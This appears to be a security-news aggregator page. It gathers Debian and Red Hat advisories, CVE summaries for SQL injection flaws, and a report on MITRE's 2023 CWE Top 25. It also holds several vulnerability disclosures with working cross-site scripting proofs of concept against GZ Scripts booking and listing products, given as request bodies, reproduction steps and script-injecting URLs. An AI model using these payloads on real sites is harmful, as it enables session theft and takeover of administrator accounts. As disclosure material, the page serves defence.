Debian Linux Security Advisory 5441-1 - Two vulnerabilities were found in maradns, an open source domain name system (DNS) implementation, that may lead to denial of service and unintended domain name resolution.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256- -------------------------------------------------------------------------Debian Security Advisory DSA-5441-1                   security@debian.orghttps://www.debian.org/security/                                  Aron XuJune 29, 2023                         https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : maradnsCVE ID         : CVE-2022-30256 CVE-2023-31137Debian Bug     : 1033252 1035936Brief introduction Two vulnerbilities were found in maradns, an open source domain namesystem (DNS) implementation, that may lead to denial of service andunintended domain name resolution.For the oldstable distribution (bullseye), these problems have been fixedin version 2.0.13-1.4+deb11u1.We recommend that you upgrade your maradns packages.For the detailed security status of maradns please refer toits security tracker page at:https://security-tracker.debian.org/tracker/maradnsFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQEzBAEBCAAdFiEEhhz+aYQl/Bp4OTA7O1LKKgqv2VQFAmSc6j4ACgkQO1LKKgqv2VSQLgf/Tn5pYOeHQDp4pK8nzpQ4FgIZkbxmsjvuzT3SEX637sDWz2hAfbeIWxjww0KbZnkdQIkPOWh6s5jZ3W4hvU7S+nhPjGiU88PXvGAyYItvU2QfaEXWzy4wwLBlPfuh8CiVJxREyvEk9sjZCGr/VqwQyY0ttYqbkpmx0cscm7MpdWBa7WsFFh19bNXUD3tWs0RPH0V5HNOwuBiay0uFh0V2o4PAssR8qaYeDfW2QQT5i1uf2wyW+Bq7IYUsxvMUKo3iRPQ9pX/nnpj0+ZyG/Mtn6tI8F0gMt/LS6LiAyQz/D7EdBguUJ56LZ/oniquCYAyAfnDwNRat66CEEpZpMXN0Xw===eb0N-----END PGP SIGNATURE-----

Debian Security Advisory 5441-1

GZ Hotel Booking Script version 1.8 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://gzscripts.com/php-gz-hotel-booking-script.html                     ││  Vendor   : GZ Scripts                                                                 ││  Software : GZ Hotel Booking Script 1.8                                                ││  Vuln Type: Stored XSS                                                                 ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││                                                                                        ││  Allow Attacker to inject malicious code into website, give ability to steal sensitive ││  information, manipulate data, and launch additional attacks.                          ││                                                                                        │   ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘## Stored XSS-----------------------------------------------POST /PHPGZHotelBooking/load.php?controller=GzFront&action=booking_details HTTP/1.1first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload]&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&terms=1&date_range=29.06.2023+-+30.06.2023&date_to=30.06.2023&date_from=29.06.2023&adults=1&children=1&order=&sort=&fromNumber=&toNumber=&room_id%5B4%5D=1&room_id%5B3%5D=0&room_id%5B2%5D=0&room_id%5B1%5D=0&adults_arr%5B4%5D%5B1%5D=1&children_arr%5B4%5D%5B1%5D=1-----------------------------------------------POST parameter 'first_name' is vulnerable to XSSPOST parameter 'second_name' is vulnerable to XSSPOST parameter 'phone' is vulnerable to XSSPOST parameter 'address_1' is vulnerable to XSSPOST parameter 'country' is vulnerable to XSS## Steps to Reproduce:1. As a [Guest User] Choose any [Room] for Booking2. Inject your [XSS Payload] in "First Name"3. Inject your [XSS Payload] in "Last Name"4. Inject your [XSS Payload] in "Phone"5. Inject your [XSS Payload] in "Address Line 1"6. Inject your [XSS Payload] in "Country"7. Accept with terms & Press [Booking]   XSS Fired on Local User Browser8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)   XSS Will Fire and Executed on his Browser9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)   XSS Will Fire and Executed on his Browser   10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)      [-] Done

GZ Hotel Booking Script 1.8 Cross Site Scripting

Ticket Booking Script version 1.8 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://gzscripts.com/ticket-booking-script.html                           ││  Vendor   : GZ Scripts                                                                 ││  Software : Ticket Booking Script 1.8                                                  ││  Vuln Type: Stored XSS                                                                 ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││                                                                                        ││  Allow Attacker to inject malicious code into website, give ability to steal sensitive ││  information, manipulate data, and launch additional attacks.                          ││                                                                                        │   ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘## Stored XSS-----------------------------------------------POST /TicketBookingScript/load.php?controller=GzFront&action=booking_details&cid=all&layout=calendar&show_header=T&local=3 HTTP/1.1title=mr&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&address_1=[XSS Payload]&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&captcha=wjrgvb&terms=1&ticket_id%5B%5D=532&event_id=3-----------------------------------------------POST parameter 'first_name' is vulnerable to XSSPOST parameter 'second_name' is vulnerable to XSSPOST parameter 'phone' is vulnerable to XSSPOST parameter 'address_1' is vulnerable to XSSPOST parameter 'country' is vulnerable to XSS## Steps to Reproduce:1. As a [Guest User] Choose any [Event] for Booking - Select seats 2. Inject your [XSS Payload] in "First Name"3. Inject your [XSS Payload] in "Last Name"4. Inject your [XSS Payload] in "Phone"5. Inject your [XSS Payload] in "Address Line 1"6. Inject your [XSS Payload] in "Country"7. Accept with terms & Press [Booking]   XSS Fired on Local User Browser8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)   XSS Will Fire and Executed on his Browser9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)   XSS Will Fire and Executed on his Browser   10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)    XSS Will Fire and Executed on his Browser      [-] Done

Ticket Booking Script 1.8 Cross Site Scripting

Red Hat Security Advisory 2023-3932-01 - Python is an interpreted, interactive, object-oriented programming language that supports modules, classes, exceptions, high-level dynamic data types, and dynamic typing. The python27 packages provide a stable release of Python 2.7 with a number of additional utilities and database connectors for MySQL and PostgreSQL. Issues addressed include a bypass vulnerability.

Red Hat Security Advisory 2023-3932-01

GZ Appointment Scheduling version 1.8 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://gzscripts.com/php-gz-appointment-scheduling-script.html            ││  Vendor   : GZ Scripts                                                                 ││  Software : GZ Appointment Scheduling 1.8                                              ││  Vuln Type: Stored XSS                                                                 ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││                                                                                        ││  Allow Attacker to inject malicious code into website, give ability to steal sensitive ││  information, manipulate data, and launch additional attacks.                          ││                                                                                        │   ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘## Stored XSS-----------------------------------------------POST /PHPGZAppointment/load.php?controller=GzFront&action=step5 HTTP/1.1service_id=1&employee_id=1&timeslot=1688119200&lang=3&date=2023-06-30&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload]&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&captcha=murimy&terms=1&lang=3-----------------------------------------------POST parameter 'first_name' is vulnerable to XSSPOST parameter 'second_name' is vulnerable to XSSPOST parameter 'phone' is vulnerable to XSSPOST parameter 'address_1' is vulnerable to XSSPOST parameter 'country' is vulnerable to XSS## Steps to Reproduce:1. As a [Guest User] Choose any [Employee] & Select the Day and the Time2. Inject your [XSS Payload] in "First Name"3. Inject your [XSS Payload] in "Last Name"4. Inject your [XSS Payload] in "Phone"5. Inject your [XSS Payload] in "Address Line 1"6. Inject your [XSS Payload] in "Country"7. Accept with terms & Press [Booking]   XSS Fired on Local User Browser8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php#!/GzAdmin/home/)   XSS Will Fire and Executed on his Browser9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php#!/GzBooking/index/)   XSS Will Fire and Executed on his Browser   10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php#!/GzInvoice/index/)    XSS Will Fire and Executed on his Browser      [-] Done

GZ Appointment Scheduling 1.8 Cross Site Scripting

Property Listing Script version 1.0 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://gzscripts.com/property-listing-script.html                         ││  Vendor   : GZ Scripts                                                                 ││  Software : Property Listing Script 1.0                                                ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /preview.phpGET 'page' parameter is vulnerable to RXSShttps://website/preview.php?&page=j5wno%22%3e%3cscript%3ealert(1)%3c%2fscript%3epjd8c&sort_by=ascpricePath: /preview.phpGET 'layout' parameter is vulnerable to RXSShttps://website/preview.php?layout=gridpv063%22%3e%3cscript%3ealert(1)%3c%2fscript%3eg46bcPath: /preview.phpGET 'sort_by' parameter is vulnerable to RXSShttps://website/preview.php?&page=1&sort_by=orbb0%22%3e%3cscript%3ealert(1)%3c%2fscript%3edhv9a[-] Done

Property Listing Script 1.0 Cross Site Scripting

Car Listing Script version 1.8 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://gzscripts.com/car-listing-script-php.html                          ││  Vendor   : GZ Scripts                                                                 ││  Software : Car Listing Script 1.8                                                     ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /preview.phpURL parameter is vulnerable to RXSShttp://website/preview.php/n42rk"><script>alert(1)</script>i2rgn?controller=GzFront&action=detail&car_id=10Path: /preview.phpGET 'page' parameter is vulnerable to RXSShttp://website/preview.php?&page=tdnzc%22%3e%3cscript%3ealert(1)%3c%2fscript%3eq4n0s&sort_by=old_listingPath: /preview.phpGET 'sort_by' parameter is vulnerable to RXSShttp://website/preview.php?&page=1&sort_by=bpei5%22%3e%3cscript%3ealert(1)%3c%2fscript%3erfgo3[-] Done

Car Listing Script 1.8 Cross Site Scripting

A vulnerability classified as critical was found in IBOS OA 4.5.5. Affected by this vulnerability is the function actionEdit of the file ?r=dashboard/roleadmin/edit&op=member of the component Add User Handler. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-232759. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

CVE-2023-3478

A vulnerability, which was classified as critical, was found in Campcodes Retro Cellphone Online Store 1.0. Affected is an unknown function of the file /admin/edit_product.php. The manipulation of the argument username leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-232752.

CVE-2023-3473

MITRE has released its annual list of the Top 25 "most dangerous software weaknesses" for the year 2023.
"These weaknesses lead to serious vulnerabilities in software," the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said. "An attacker can often exploit these vulnerabilities to take control of an affected system, steal data, or prevent applications from working."
The list is

Vulnerability / Software Security

MITRE has released its annual list of the Top 25 "most dangerous software weaknesses" for the year 2023.

"These weaknesses lead to serious vulnerabilities in software," the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said. "An attacker can often exploit these vulnerabilities to take control of an affected system, steal data, or prevent applications from working."

The list is based on an analysis of public vulnerability data in the National Vulnerability Data (NVD) for root cause mappings to CWE weaknesses for the previous two years. A total of 43,996 CVE entries were examined and a score was attached to each of them based on prevalence and severity.

Coming out top is Out-of-bounds Write, followed by Cross-site Scripting, SQL Injection, Use After Free, OS Command Injection, Improper Input Validation, Out-of-bounds Read, Path Traversal, Cross-Site Request Forgery (CSRF), and Unrestricted Upload of File with Dangerous Type. Out-of-bounds Write also took the top spot in 2022.

70 vulnerabilities added to the Known Exploited Vulnerabilities (KEV) catalog in 2021 and 2022 were Out-of-bounds Write bugs. One weakness category that fell off the Top 25 is Improper Restriction of XML External Entity Reference.

"Trend analysis on vulnerability data like this enables organizations to make better investment and policy decisions in vulnerability management," the Common Weakness Enumeration (CWE) research team said.

Besides software, MITRE also maintains a list of important hardware weaknesses with an aim to "prevent hardware security issues at the source by educating designers and programmers on how to eliminate important mistakes early in the product development lifecycle."

The disclosure comes as CISA, together with the U.S. National Security Agency (NSA), released recommendations and best practices for organizations to harden their Continuous Integration/Continuous Delivery (CI/CD) environments against malicious cyber actors.

This includes the implementation of strong cryptographic algorithms when configuring cloud applications, minimizing the use of long-term credentials, adding secure code signing, utilizing two-person rules (2PR) to review developer code commits, adopting the principle of least privilege (PoLP), using network segmentation, and regularly audit accounts, secrets, and systems.

"By implementing the proposed mitigations, organizations can reduce the number of exploitation vectors into their CI/CD environments and create a challenging environment for the adversary to penetrate," the agencies said.

The development also follows new findings from Censys that nearly 250 devices running on various U.S. government networks have exposed remote management interfaces on the open web, many of which run remote protocols such as SSH and TELNET.

"FCEB agencies are required to take action in compliance with BOD 23-02 within 14 days of identifying one of these devices, either by securing it according to Zero Trust Architecture concepts or removing the device from the public internet," Censys researchers said.

Publicly accessible remote management interfaces have emerged as one of the most common avenues for attacks by nation-state hackers and cybercriminals, with the exploitation of remote desktop protocol (RDP) and VPNs becoming a preferred initial access technique over the past year, according to a new report from ReliaQuest.

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